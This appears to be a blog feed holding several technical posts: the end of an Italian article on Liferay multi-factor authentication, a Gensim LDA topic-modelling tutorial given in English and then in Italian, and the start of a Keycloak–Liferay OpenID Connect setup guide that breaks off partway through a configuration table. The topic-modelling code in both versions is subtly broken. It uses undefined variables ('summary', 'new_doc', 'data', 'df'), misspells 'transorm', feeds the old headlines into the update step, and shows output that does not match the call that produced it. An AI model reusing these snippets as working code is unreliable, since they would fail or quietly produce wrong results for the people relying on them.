127.0.0.1   techblog.portal.local

# Step 4 - Start the Docker Compose stack services (in fg o bg)
$ docker-compose up
$ docker-compose up -d

Console 3 - Avvio dello stack dei servizi via Docker Compose

A seguire è invece disponibile il video che mostra tutto il setup del portale Liferay che abbiamo visto nel corso dell'articolo.

7. Conclusioni

Durante lo speech Liferay Authentication: How to create a Token-based SSO system, abbiamo avuto modo di vedere le possibilità che Liferay offre circa i meccanismi di autenticazione e le modalità di estensione che consentono di sviluppare le proprie soluzioni.

Attenzione! È possibile scaricare tutto il materiale del Liferay Boot Camp 2022 seguendo il link https://bit.ly/download-materials-lrbc22

Potete scaricare tutto il materiale del Liferay Boot Camp 2022 da https://bit.ly/download-materials-lrbc22

Nel corso di questo articolo abbiamo invece visto nel dettaglio come configurare e utilizzare la Multi-factor Authentication, meccanismo di autenticazione supportato OOTB (Out Of The Box) dall'edizione DXP. L'utilizzo del Security Tocken (hardware) è un secondo fattore di autenticazione, ovvero, dopo che l'utente ha inserito correttamente la coppia username e password. Attraverso opportune estensioni da sviluppare, sarebbe possibile rendere l'accesso al portale Liferay completamente password-less e questo potrebbe essere argomento di un altro articolo.

Topic Modelling with Gensim

Fri, 22 Oct 2021 00:00:00 GMT

This article is part of the series dedicated to the most relevant Natural Language Processing tasks. Learn more also the others starting from first article.

Further reading that I recommend, concerns an introduction on the basic aspects of Machine Learning and specifically Machine learning and applications for industry.

What is Topic Modeling

With Topic Modelling we refer, in fact, to a specific NLP (Natural Language Processing) that allows you to automatically identify the main topics covered in a certain documentary corpus.
It is a task that follows an unsupervised approach, and as such it does not need a dataset labeled.
This makes Topic Modeling easy to make and apply.

Each identified topic is described through a series of relevant tokens and/or phrases, ordered by importance, which describe its nature.
In this context, each document is described by one or more topics. It is assumed that each document is represented by a statistics distribution in the topic space, which can be obtained by "summing" all the distributions for all the topics covered.

The two main methods for implementing Topic Modeling approaches are:

Let's see how to implement Topic Modeling approaches. We will proceed as follows:

Reading and preprocessing of textual contents with the help of the library NLTK
Construction of a Topic Model using the Latent Dirichlet Allocation technique, through the use of library Gensim
Dynamic display of the result through the library pyLDAvis

In the Github repository linked to the NLP article series there is a Jupyter Notebook describing the whole process.
For this example, a news headline dataset is used, downloadable from Kaggle in json format.
In the repository, for reasons of space, there is only a small subset (in csv format) of the entire dataset, with news from specific categories. To use the entire dataset, download it and use the utility present in the repository to transform it into csv format.

Preprocessing and transformation of contents

A phase of preprocessing and transformation of the contents is initially carried out, to put the dataset in the best shape for training the model.

In Topic Modeling it is good practice to carry out the following transformation steps.

1. Tokenization

Each document must be transformed into a token list. To do this we define a specific function, using the Tokenizer of the NLTK library.

nltk.download('punkt')

def tokenize(text):
    tokens = nltk.word_tokenize(text)
    return tokens

Source Code 1 - Tokenization

2. Elimination of stopwords

The stopwords in a task like Topic Modeling must be eliminated, as they will not represent in any way relevant information for the identification and description of topics.
We use the stopwords defined by the NLTK library and define a function that specifies whether a token is a stopword.

nltk.download('stopwords')
en_stop = set(nltk.corpus.stopwords.words('english'))

def is_stopwords(token):
    if token in en_stop:
        return True
    return False

Source Code 2 - Elimination of stopwords

3. Lemmatization

It is very useful to trace each token of each document to its root. Otherwise we will have syntactically different tokens, but which express the same semantic concept.
To carry out this process we define a function that returns the root of a word, and to do this we use the NLTK version of the Stemmer WordNetLemmatizer.

nltk.download('wordnet')
from nltk.stem.wordnet import WordNetLemmatizer

def get_lemma(token):
    return WordNetLemmatizer().lemmatize(token)

Source Code 3 - Lemmatization

Let's put it all together in a single function that will be used for the transformation of each content of the dataset.
In addition to the above operations, we transform each token into lowercase characters and eliminate those of length less than or equal to 3.

def transform(text):
    tokens = tokenize(summary)
    tokens = [token.lower() for token in tokens]
    tokens = [token for token in tokens if len(token) > 3]
    tokens = [token for token in tokens if token not in en_stop]
    tokens = [get_lemma(token) for token in tokens]
    return tokens

Source Code 4 - Function for data transformation

At this point we can read the content of our csv file, extract the titles into a list and transform each content in the desired shape.

data.read_csv("../data/data.csv")

text_list = data["headline"].tolist()

cleaned_summary_list = [transorm(element) for element in text_list]

Source Code 5 - Reading and transformation of data

LDA with Gensim

Dictionary and Vector Corpus

To build our Topic Model we use the LDA technique implementation of the Gensim library.
As a first step we build a vocabulary starting from our transformed data. Follows data transformation in a vector model of type Tf-Idf.
We save the dictionary and corpus for future use.

dictionary = corpora.Dictionary(cleaned_summary_list)
corpus = [dictionary.doc2bow(text) for text in cleaned_summary_list]

tfidf = models.TfidfModel(corpus)
corpus_tfidf = tfidf[corpus]

pickle.dump(corpus_tfidf, open('../models/corpus.pkl', 'wb'))
dictionary.save('../models/dictionary.gensim')

Source Code 6 - Dictionary and Vector Corpus

Model training

Once our corpus has been transformed, we move on to training the Topic Model.

In the application of the LDA technique, among the various parameters that can be specified, there are some of the greatest relevance:

corpus: Vector corpus of documents to be used for training
num_topics : Number of topics to extract
id2word : Dictionary that defines the mapping of ids to words
passes : Number of steps through the entire corpus during training

There are other parameters that we do not specify for simplicity and for which we use the default values.

For all information about the LDA model, see the document Latent Dirichlet Allocation.

At this point we move on to train our model.

import gensim

num_topics = 5

ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics=num_topics, id2word=dictionary, passes=15)
ldamodel.save('model5.gensim')

Source Code 7 - Model training

Once the training is finished, we save the model and print for each topic identified a representation given by the most relevant keywords belonging to the topic.

topics = ldamodel.print_topics(num_words=5)
for topic in topics:
    print(topic)


(0, '0.016*"shooting" + 0.012*"police" + 0.009*"killed" + 0.006*"prison" + 0.006*"photo" + 0.005*"suspect" + 0.005*"school" + 0.005*"arrested" + 0.005*"killing" + 0.005*"olympics"')
(1, '0.023*"apple" + 0.013*"space" + 0.012*"iphone" + 0.011*"photo" + 0.009*"video" + 0.008*"planet" + 0.007*"rumor" + 0.007*"science" + 0.006*"first" + 0.006*"earth"')
(2, '0.009*"found" + 0.007*"allegedly" + 0.007*"police" + 0.007*"woman" + 0.006*"study" + 0.006*"video" + 0.005*"player" + 0.004*"arrested" + 0.004*"football" + 0.004*"google"')
(3, '0.010*"facebook" + 0.010*"state" + 0.008*"video" + 0.006*"people" + 0.006*"world" + 0.006*"google" + 0.006*"final" + 0.005*"tournament" + 0.005*"player" + 0.004*"score"')
(4, '0.053*"video" + 0.015*"watch" + 0.010*"youtube" + 0.007*"show" + 0.005*"photo" + 0.005*"tiger" + 0.005*"world" + 0.005*"touchdown" + 0.004*"study" + 0.004*"lebron"')

Source Code 8 - Topics identified

Using the trained model

We then trained a Topic Model, and saved the result along with the corpus and the dictionary. This way we can reuse our model in our code to extract the topics covered in a new document.
We input a test title to the model and obtain as a result a distribution in the topic space.

new_headline = 'Two person murdered in New York'
new_headline = transform(new_headline)
new_headline_bow = dictionary.doc2bow(new_doc)

print(ldamodel.get_document_topics(new_doc_bow))

[(0, 0.3996785),
 (1, 0.06758379),
 (2, 0.39854106),
 (3, 0.06670547),
 (4, 0.06749118)]

Source Code 9 - Using the trained model

At this point, let's extract the topic with the highest score. In this case it is the topic with id 0. We then return the representation through the main keywords.

ldamodel.print_topic(0, topn=5)

'0.016*"shooting" + 0.012*"police" + 0.009*"killed" + 0.006*"prison" + 0.006*"photo" + 0.005*"suspect" + 0.005*"school" + 0.005*"arrested" + 0.005*"killing" + 0.005*"olympics"'

Source Code 10 - Main topic

Model update

In a real context, we expect to have new contents available over time, which they represent useful information to improve the performance of the model.
We may choose to retrain the model from scratch, using the completed corpus with the new content.
The Gensim library, however, also offers us the possibility to retrain the model in a partial and faster way. By loading the most recent model from file, we can create the corpus with the new documents and then make an update of the model, which we can save and use instead of the previous version.

temp_file = "../models/model.h5"

# Load a potentially pretrained model from disk.
lda = models.LdaModel.load(temp_file)

new_data = df.read_csv("../data/new_data.csv")
new_text_list = new_data["headline"].tolist()

new_cleaned_summary_list = [transform(element) for element in text_list]

dictionary = corpora.Dictionary(new_cleaned_summary_list)
new_corpus = [dictionary.doc2bow(text) for text in cleaned_summary_list]

tfidf = models.TfidfModel(new_corpus)  # step 1 -- initialize a model
corpus_tfidf = tfidf[new_corpus]

lda.update(corpus_tfidf)

Source Code 11 - Model update

Visualization with pyLDAvis

PyLDAvis allows you to view those on an interactive environment (a Jupyter Notebook for example) which are the topics identified by the Topic Model created. We load the newly trained model, together with the vector representation of the corpus and the dictionary, and we ask pyLDAvis to display the results.

import pyLDAvis
import pyLDAvis.gensim_models as gensimvis

pyLDAvis.enable_notebook()

dictionary = gensim.corpora.Dictionary.load('dictionary.gensim')
corpus = pickle.load(open('corpus.pkl', 'rb'))

lda = gensim.models.ldamodel.LdaModel.load('model5.gensim')
lda_display = gensimvis.prepare(lda, corpus, dictionary, sort_topics=False)

pyLDAvis.display(lda_display)

Source Code 12 - Visualization with pyLDAvis

Through the display method of the library, we generate an interactive panel that displays, on the left a representation in the topic space, on the right a view on which are the main concepts and keywords for the selected topic.

The topics that are close to each other or overlap will be similar topics.

It is possible to interact with the panel through appropriate commands that allow you to:

Choose which and how many topics to display
Set the appropriate Saliency, that is the measure of how much the term tells you about that topic
Set the appropriate Relevance, that is a measure of the importance of the word for that topic, compared to the rest of the topics.

Figura 1 - Visualization with pyLDAvis

Conclusions

We have seen how Topic Modeling is a very simple and easy technique to apply, since it is not need for labeled data. All you need is a corpus of documents you can access, on which you can train your model.
We have also seen how very simple it is to retrain a model with the new acquired data. Very often this can be done through very rapid and frequent refinements of the model considering only the new data, and only at wider intervals to decide to retrain the model from scratch.
This technique, as we have seen, gives as a result, given a document, the topics covered, and for each of these, you can get the main keywords that describe it.
In this way we obtain information in an automatic and intelligent way on the nature of the analyzed text. All this can be very useful for applications such as:

cognitive search engines: the contents are tagged with the keywords of the main topics, to then exploit them in the research phase
customer service: it is possible to identify the main topics discussed by customers and understand their needs more easily and quickly
social network: to identify the main topics covered by users
sentiment analysis: to identify concepts that are an expression of the sentiment of the content

Topic Modelling con Gensim

Fri, 22 Oct 2021 00:00:00 GMT

Questo articolo fa parte della serie dedicata ai più rilevanti task di Natural Language Processing. Approfondisci anche gli altri partendo dal primo articolo.

Ulteriore lettura che consiglio, riguarda un'introduzione sugli aspetti di base in ambito Machine Learning e nello specifico Machine learning e applicazioni per l'industria.

Cosa è il Topic Modelling

Con Topic Modelling si fa riferimento, appunto, ad uno specifico task di NLP (Natural Language Processing) che permette in modo automatico di individuare i principali argomenti trattati in un certo corpus documentale.
Si tratta di un task che segue un approccio di tipo non supervisionato, e come tale non necessita di un dataset etichettato.
Questo rende il Topic Modelling facile da realizzare e applicare.

Ogni topic individuato è descritto attraverso una serie di token e/o frasi rilevanti, ordinate per importanza, che ne descrivono la natura.
In questo contesto ogni documento è descritto da uno o più topic. Si parte dall'assunzione che ogni documento è rappresentato da una distribuzione statistica di argomenti, che si può ottenere "sommando" tutte le distribuzioni per tutti gli argomenti trattati.

I due principali metodi per realizzare approcci di Topic Modelling sono:

Vediamo come realizzare approcci di tipo Topic Modelling. Si procederà nel seguente modo:

Lettura e preprocessing dei contenuti testuali tramite l'ausilio della libreria NLTK
Costruzione di un Topic Model che utilizza la tecnica Latent Dirichlet Allocation, tramite l'utilizzo della libreria Gensim
Visualizzazione dinamica del risultato tramite la libreria pyLDAvis

Nel repository Github collegato alla serie di articoli NLP è presente un Jupyter Notebook che descrive l'intero processo.
Per questo esempio viene utilizzato un dataset di titoli di news, scaricabile da Kaggle in formato json.
Nel repository, per motivi di spazio, è presente solo un piccolo subset(in formato csv) dell'intero dataset, con news di specifiche categorie. Per utilizzare l'intero dataset, scaricarlo e utilizzare l'utility presente nel repository per trasformarlo in formato csv.

Preprocessing e trasformazione dei contenuti

Va inizialmente svolta una fase di preprocessing e trasformazione dei contenuti, per mettere il dataset nella forma migliore per l'addestramento del modello.

In ambito Topic Modelling è buona prassi realizzare i passi di trasformazione seguenti.

1. Tokenizzazione

Ogni documento va trasformato in una lista di token. Per fare ciò definiamo un'apposita funzione, utilizzando il Tokenizer della libreria NLTK.

nltk.download('punkt')

def tokenize(text):
    tokens = nltk.word_tokenize(text)
    return tokens

Source Code 1 - Tokenizzazione

2. Eliminazione delle stopword

Le stopword in un task come il Topic Modelling vanno eliminate, poiché non rappresenteranno in alcun modo informazione rilevante per l'individuazione e la descrizione dei topic.
Utilizziamo le stopword definite dalla libreria NLTK e definiamo una funzione che specifica se un token è una stopword.

nltk.download('stopwords')
en_stop = set(nltk.corpus.stopwords.words('english'))

def is_stopwords(token):
    if token in en_stop:
        return True
    return False

Source Code 2 - Eliminazione delle stopword

3. Lemmatizzazione

Risulta molto utile ricondurre ogni token di ogni documento alla propria radice. In caso contrario avremo token sintatticamente diversi, ma che esprimono lo stesso concetto semantico.
Per effettuare questo processo definiamo una funzione che ritorna la radice di una parola, e per farlo utilizziamo la versione NLTK dello Stemmer WordNetLemmatizer.

nltk.download('wordnet')
from nltk.stem.wordnet import WordNetLemmatizer

def get_lemma(token):
    return WordNetLemmatizer().lemmatize(token)

Source Code 3 - Lemmatizzazione

Mettiamo tutto insieme in un'unica funzione che verrà utilizzata per la trasformazione di ogni contenuto del dataset.
In aggiunta alle operazioni sopra indicate trasformiamo in carattere minuscolo ogni token e eliminiamo quelli di lunghezza minore o uguale a 3.

def transform(text):
    tokens = tokenize(summary)
    tokens = [token.lower() for token in tokens]
    tokens = [token for token in tokens if len(token) > 3]
    tokens = [token for token in tokens if token not in en_stop]
    tokens = [get_lemma(token) for token in tokens]
    return tokens

Source Code 4 - Funzione per la trasformazione dei dati

A questo punto possiamo leggere il contenuto del nostro file csv, estrarre i titoli in una lista e trasformare ogni contenuto nella forma desiderata.

data.read_csv("../data/data.csv")

text_list = data["headline"].tolist()

cleaned_summary_list = [transorm(element) for element in text_list]

Source Code 5 - Lettura e trasformazione dei dati

LDA con Gensim

Dizionario e Corpus vettoriale

Per costruire il nostro Topic Model utilizziamo l'implementazione della tecnica LDA della libreria Gensim.
Come primo passo costruiamo un vocabolario partendo dai nostri dati trasformati. Segue la trasformazione dei dati in un modello vettoriale di tipo Tf-Idf.
Salviamo il dizionario e il corpus per utilizzi futuri.

dictionary = corpora.Dictionary(cleaned_summary_list)
corpus = [dictionary.doc2bow(text) for text in cleaned_summary_list]

tfidf = models.TfidfModel(corpus)
corpus_tfidf = tfidf[corpus]

pickle.dump(corpus_tfidf, open('../models/corpus.pkl', 'wb'))
dictionary.save('../models/dictionary.gensim')

Source Code 6 - Dizionario e Corpus vettoriale

Addestramento del modello

Trasformato il nostro corpus, passiamo all'addestramento del Topic Model.

Nell'applicazione della tecnica LDA, tra i diversi parametri che possono essere specificati, ve ne sono alcuni di maggiore rilevanza:

corpus: Corpus vettoriale di documenti da utilizzare per il training
num_topics : Numero di topic da estrarre
id2word : Dizionario che definisce il mapping degli id con le parole
passes : Numero di passaggi attraverso l'intero corpus durante il training

Vi sono altri parametri che per semplicità non specifichiamo e per i quali utilizziamo i valori di default.

Per tutte le informazioni circa il modello LDA, consultare il document Latent Dirichlet Allocation.

A questo punto passiamo ad addestrare il nostro modello.

import gensim

num_topics = 5

ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics=num_topics, id2word=dictionary, passes=15)
ldamodel.save('model5.gensim')

Source Code 7 - Addestramento del modello

Terminato l'addestramento salviamo il modello e stampiamo per ogni topic individuato una rappresentazione data dalle keyword più rilevanti appartenenti al topic.

topics = ldamodel.print_topics(num_words=5)
for topic in topics:
    print(topic)


(0, '0.016*"shooting" + 0.012*"police" + 0.009*"killed" + 0.006*"prison" + 0.006*"photo" + 0.005*"suspect" + 0.005*"school" + 0.005*"arrested" + 0.005*"killing" + 0.005*"olympics"')
(1, '0.023*"apple" + 0.013*"space" + 0.012*"iphone" + 0.011*"photo" + 0.009*"video" + 0.008*"planet" + 0.007*"rumor" + 0.007*"science" + 0.006*"first" + 0.006*"earth"')
(2, '0.009*"found" + 0.007*"allegedly" + 0.007*"police" + 0.007*"woman" + 0.006*"study" + 0.006*"video" + 0.005*"player" + 0.004*"arrested" + 0.004*"football" + 0.004*"google"')
(3, '0.010*"facebook" + 0.010*"state" + 0.008*"video" + 0.006*"people" + 0.006*"world" + 0.006*"google" + 0.006*"final" + 0.005*"tournament" + 0.005*"player" + 0.004*"score"')
(4, '0.053*"video" + 0.015*"watch" + 0.010*"youtube" + 0.007*"show" + 0.005*"photo" + 0.005*"tiger" + 0.005*"world" + 0.005*"touchdown" + 0.004*"study" + 0.004*"lebron"')

Source Code 8 - Topic individuati

Utilizzo del modello addestrato

Abbiamo quindi addestrato un Topic Model, e salvato il risultato insieme al corpus e al dizionario. In questo modo possiamo riutilizzare nel nostro codice il nostro modello per estrarre i topic trattati in un nuovo documento.
Diamo in input al modello un titolo di test e otteniamo come risultato una distribuzione nello spazio dei topic.

new_headline = 'Two person murdered in New York'
new_headline = transform(new_headline)
new_headline_bow = dictionary.doc2bow(new_doc)

print(ldamodel.get_document_topics(new_doc_bow))

[(0, 0.3996785),
 (1, 0.06758379),
 (2, 0.39854106),
 (3, 0.06670547),
 (4, 0.06749118)]

Source Code 9 - Utilizzo del modello

Estraiamo a questo punto il topic con lo score maggiore. In questo caso è il topic con id 0. Ne restituiamo allora la rappresentazione tramite le principali keyword.

ldamodel.print_topic(0, topn=5)

'0.016*"shooting" + 0.012*"police" + 0.009*"killed" + 0.006*"prison" + 0.006*"photo" + 0.005*"suspect" + 0.005*"school" + 0.005*"arrested" + 0.005*"killing" + 0.005*"olympics"'

Source Code 10 - Topic principale

Aggiornamento del modello

In un contesto reale ci aspettiamo di avere a disposizione nel corso del tempo nuovi contenuti, i quali rappresentano un'informazione utile per migliorare le prestazioni del modello.
Potremmo scegliere di riaddestrare il modello da capo, utilizzando il corpus completato con i nuovi contenuti.
La libreria Gensim però ci offre anche la possibilità di riaddestrare il modello in maniera parziale e più rapida. Caricando il modello più recente da file, possiamo creare il corpus con i nuovi documenti e fare successivamente un update del modello, che possiamo salvare e utilizzare al posto della versione precedente.

temp_file = "../models/model.h5"

# Load a potentially pretrained model from disk.
lda = models.LdaModel.load(temp_file)

new_data = df.read_csv("../data/new_data.csv")
new_text_list = new_data["headline"].tolist()

new_cleaned_summary_list = [transform(element) for element in text_list]

dictionary = corpora.Dictionary(new_cleaned_summary_list)
new_corpus = [dictionary.doc2bow(text) for text in cleaned_summary_list]

tfidf = models.TfidfModel(new_corpus)  # step 1 -- initialize a model
corpus_tfidf = tfidf[new_corpus]

lda.update(corpus_tfidf)

Source Code 11 - Update del modello

Visualizzazione con pyLDAvis

PyLDAvis permette di visualizzare su un ambiente interattivo (un Jupyter Notebook ad esempio) quelli che sono i topic individuati dal Topic Model creato. Ci carichiamo il modello appena addestrato, insieme alla rappresentazione vettoriale del corpus e al dizionario, e chiediamo a pyLDAvis di visualizzare i risultati.

import pyLDAvis
import pyLDAvis.gensim_models as gensimvis

pyLDAvis.enable_notebook()

dictionary = gensim.corpora.Dictionary.load('dictionary.gensim')
corpus = pickle.load(open('corpus.pkl', 'rb'))

lda = gensim.models.ldamodel.LdaModel.load('model5.gensim')
lda_display = gensimvis.prepare(lda, corpus, dictionary, sort_topics=False)

pyLDAvis.display(lda_display)

Source Code 12 - Visualizzazione con pyLDAvis

Attraverso il metodo display della libreria generiamo un pannello interattivo che visualizza sulla sinistra una rappresentazione nello spazio dei topic, sulla destra una visualizzazione su quelli che sono i concetti e le parole chiavi principali per il topic selezionato.

I topic tra loro vicini o in sovrapposizione saranno topic simili tra loro.

Risulta possibile interagire con il pannello attraverso opportuni comandi che permettono di:

Scegliere quali e quanti topic visualizzare
Settare l'opportuna Saliency, cioè la misura di quanto il termine ti dice su quel topic
Settare l'opportuna Relevance, cioè una misura dell'importanza della parola per quel topic, rispetto al resto dei topic.

Figura 1 - Visualizzazione con pyLDAvis

Conclusioni

Abbiamo potuto constatare come il Topic Modelling sia una tecnica molto semplice e facile da applicare, poiché non necessità di dati etichettati. Tutto quello di cui si ha bisogno è di un corpus di documenti a cui avere accesso sul quale poter addestrare il proprio modello.
Abbiamo visto inoltre come sia molto semplice riaddestrare un modello con i nuovi dati acquisiti. Molto spesso si può procedere attraverso raffinamenti molto rapidi e frequenti del modello considerando solo i nuovi dati, e solo ad intervalli più ampi decidere di riaddestrare il modello da capo.
Questa tecnica, come abbiamo visto, dà come risultato, dato un documento i topic trattati, e per ognuno di questi è possibile ottenere le keyword principali che lo descrivono.
Otteniamo in questo modo delle informazioni in maniera automatica e intelligente sulla natura del testo analizzato. Tutto ciò può rivelarsi molto utile per applicazioni come:

motori di ricerca cognitivi: si taggano i contenuti con le parole chiave dei topic principali, per sfruttarle poi in fase di ricerca
customer service: si riesce ad individuare i topic principali discussi dai clienti e capirne più facilmente e rapidamente i bisogni
social network: per individuare gli argomenti principali trattati dagli utenti
sentiment analysis: per individuare concetti che sono espressione del sentiment del contenuto

How to connect Keycloak and Liferay via OpenID Connect

Fri, 15 Oct 2021 00:00:00 GMT

In recent years, the authentication protocol has become increasingly popular OpenID Connect (OIDC), based on OAuth2, to provide secure access to applications and APIs (Application Programming Interface).

In this article we will see how to undertake a correct configuration of Keycloak and Liferay in order to enable the user authentication process using the protocol OpenID Connect. I would like to point out that the article is not a guide to installing Liferay and Keycloak.

To understand what is described in the article, a good knowledge of the administrative aspects of both Liferay and Keycloak, as well a basic knowledge of SSO (Single Sign-On systems).

As usual I will leave the end-of-article bonus, that is, the GitHub reference of the project that will allow you to recreate the scenario we are going to describe.

1 - Requirements

The reference versions of Liferay and Keycloak that we will consider are respectively 7.3 GA6 and 15.0.2 (released August 20, 2021).

So that you can successfully complete the integration configuration between Keycloak and Liferay, a Liferay instance needs to be available and an instance of Keycloak.

For Liferay and Keycloak configuration tasks you need to have login credentials and that they have an administrator role for both systems.

The diagram in the figure below shows the integration scenario at a high level that we are going to implement and what protocols are used. The LDAP component has been inserted but it is completely optional, you will find it, however, within the bonus.

Figure 1 - Liferay as SSO client (or better Service Provider) via OpenID Connect

The Fully Qualified Domain Name (FQDN) reported on the components of the scenario integration are by way of example.

It is important to remember that for the configuration to be successful it is essential that the systems involved can communicate with each other through the protocols also required (https and ldaps) in SSL/TLS environments must be correctly set the TrustStore. This clarification serves to avoid incurring annoying errors (e.g. validation of the X509 certification chain).

2 - Keycloak configuration

The first activity to be performed is to configure the Keycloak instance. This operation requires several steps which are indicated below.

Creation of a specific Realm
Creating an OpenID Connect client
Creating an OpenID Connect Identity Provider (or IdP)
Demo user creation (optional if you have configured an LDAP service)

We therefore assume that the Keycloak instance is operational and access the administration using the administration credentials. Because of this scenario we assume that the Keycloak instance is available at the address https://iam.smc.lab.local/ (see figure below).

Figure 2 - Keycloak administration console

For any doubt and/or further information regarding the installation and configuration of Keycloak, refer to the official documentation available at https://www.keycloak.org/archive/documentation-15.0.html

2.1 - Creation of the Realm

A Realm in Keycloak is the equivalent of a tenant (group of users who share common access to a multi-tenant software system). It allows to create isolated groups of applications and users. By default there is a single realm in Keycloak called master, this is dedicated to management Keycloak and should not be used for the rest of the applications.

The first step requires the creation of a new Realm that we could for example call smc-lab-local-relam.

Figure 3 - Creation of the new Realm on Keycloak

Figure 4 - Detail mask of the newly created realm

The previous figure highlights the OpenID Connect configuration endpoint. This endpoint contains all configuration metadata pertaining to the protocol, such as: Token URL, Authorization URL, Issuer, etc. This information will be useful for subsequent configuration activities, on both Keycloak and Liferay.

The configuration URL in this case is: https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/.well-known/openid-configuration.

Note: This is the URL that Liferay will use to get the metadata of configuration, for this reason it is important that this address be reachable and that the SSL/TLS certificate configuration is correct.

Pointing your browser at the configuration metadata address, you will get a JSON document like the one shown below.

{
	"issuer": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm",
	"authorization_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth",
	"token_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token",
	"introspection_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token/introspect",
	"userinfo_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo",
	"end_session_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout",
	"jwks_uri": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs",
	"check_session_iframe": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/login-status-iframe.html",
	"grant_types_supported": ["authorization_code", "implicit", "refresh_token", "password", "client_credentials", "urn:ietf:params:oauth:grant-type:device_code", "urn:openid:params:grant-type:ciba"],
	"response_types_supported": ["code", "none", "id_token", "token", "id_token token", "code id_token", "code token", "code id_token token"],
	"subject_types_supported": ["public", "pairwise"],
	"id_token_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"id_token_encryption_alg_values_supported": ["RSA-OAEP", "RSA-OAEP-256", "RSA1_5"],
	"id_token_encryption_enc_values_supported": ["A256GCM", "A192GCM", "A128GCM", "A128CBC-HS256", "A192CBC-HS384", "A256CBC-HS512"],
	"userinfo_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512", "none"],
	"request_object_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512", "none"],
	"response_modes_supported": ["query", "fragment", "form_post"],
	"registration_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/clients-registrations/openid-connect",
	"token_endpoint_auth_methods_supported": ["private_key_jwt", "client_secret_basic", "client_secret_post", "tls_client_auth", "client_secret_jwt"],
	"token_endpoint_auth_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"introspection_endpoint_auth_methods_supported": ["private_key_jwt", "client_secret_basic", "client_secret_post", "tls_client_auth", "client_secret_jwt"],
	"introspection_endpoint_auth_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"claims_supported": ["aud", "sub", "iss", "auth_time", "name", "given_name", "family_name", "preferred_username", "email", "acr"],
	"claim_types_supported": ["normal"],
	"claims_parameter_supported": true,
	"scopes_supported": ["openid", "offline_access", "web-origins", "phone", "roles", "email", "address", "profile", "microprofile-jwt"],
	"request_parameter_supported": true,
	"request_uri_parameter_supported": true,
	"require_request_uri_registration": true,
	"code_challenge_methods_supported": ["plain", "S256"],
	"tls_client_certificate_bound_access_tokens": true,
	"revocation_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/revoke",
	"revocation_endpoint_auth_methods_supported": ["private_key_jwt", "client_secret_basic", "client_secret_post", "tls_client_auth", "client_secret_jwt"],
	"revocation_endpoint_auth_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"backchannel_logout_supported": true,
	"backchannel_logout_session_supported": true,
	"device_authorization_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth/device",
	"backchannel_token_delivery_modes_supported": ["poll"],
	"backchannel_authentication_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/ext/ciba/auth"
}

Source Code 1 - OpenID Endpoint Configuration JSON Document

Remember that: Configuration metadata is important for later configuring the Liferay OpenID Connect component. So keep aside these data.

2.2 - Creating the OpenID Connect client

The second step requires the creation of a new OpenID Connect client. The data essential to be able to create the client are indicated below.

Client ID: unique identifier of the client.
Name: description of the client.
Access Type: type of access that in this case must be set to confidentials.
Valid Redirect URIs: list of redirect URIs that must be considered valid by Keycloak.

To start the creation of the new client, from the Configure section of the Realm, select the Clients item and then click on the Create button. The figures below show the new client creation masks.

Figure 5 - Access to the creation of a new client from the Clients section

Figure 6 - Creating the new client with Client ID liferay-portal-client

The parameters and values indicated in the table below are the ones that must be set on the client configuration modification mask (see the figure below). A good rule of thumb is to assign a value “talking” or self-explanatory to the Client ID parameter.

Parameter	Value
Client ID	liferay-portal-client
Name	Client OpenID Connect per Liferay Portal
Access Type	confidentials
Valid Redirect URIs	https://portal.smc.lab.local/*

Table 1 - Basic OpenID Connect Client configuration parameters

Figure 7 - Completing the OpenID Connect Client configuration for the Liferay portal

After saving the client configuration, go to the Credentials tab subsequently clicking on the Regenerate Secret button, taking note of the Secret just generated, this value will be useful in the next one configuration of the Identity Provider.

Figure 8 - Credentials section of the OpenID client configuration with the Secret highlighted

Now among the list of clients registered on Keycloak the one just is available created for integration with the Liferay portal (see figure below).

Figure 9 - The new liferay-portal-client available on the realm client list

2.3 - Configurazione Identity Provider

The third step requires the configuration of the OpenID Connect Identity Provider. The essential data to be able to create the client are indicated below.

Unique alias to be assigned to the Identity Provider
Authorization URL
Token URL
Logout URL
Client Authentication
Client ID
Secret

The values concerning Authorization, Token and Logout URL can be extracted from the OpenID Connect Endpoint (configuration metadata) shown above.

The values concerning Client ID and Secret are those set previously when creating the client.

To start the creation of the Identity Provider, from the Configure section of the Realm select the Identity Providers item and then select from the list the Keycloak OpenID Connect element. The following figures show the masks of creation of the new client.

Figure 10 - Creation of the new Identity Provider

The table below shows the parameters and their respective values that must be set on the new Identity Provider creation mask.

Parameter	Value
Authorization URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth
Token URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token
